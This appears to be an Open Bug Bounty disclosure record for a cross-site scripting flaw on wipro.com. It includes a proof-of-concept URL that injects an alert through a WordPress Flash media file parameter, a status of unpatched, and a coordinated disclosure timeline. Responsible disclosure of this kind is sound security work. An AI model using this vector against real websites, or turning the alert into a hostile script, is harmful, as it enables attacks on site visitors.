Lucene search

K
openbugbountyRootpentestingOBB:176617
HistoryAug 19, 2016 - 5:56 p.m.

wipro.com XSS vulnerability

2016-08-1917:56:00
rootpentesting
www.openbugbounty.org
4
Vulnerable URL:
https://wipro.com/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alert`OPENBUGBOUNTY`
Details:
Description Value
Patched: No
Latest check for patch: 30.07.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 8041
VIP website status: Yes
Check wipro.com SSL connection: (Grade: A+)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 19 August, 2016 17:56 GMT
Vulnerability existence verified and confirmed 25 August, 2016 05:31 GMT
Generic security notifications sent to website owner 25 August, 2016 05:31 GMT
Notification sent to subscribers (without technical details) 25 August, 2016 06:17 GMT
Vulnerability details disclosed by researcher 8 September, 2016 06:12 GMT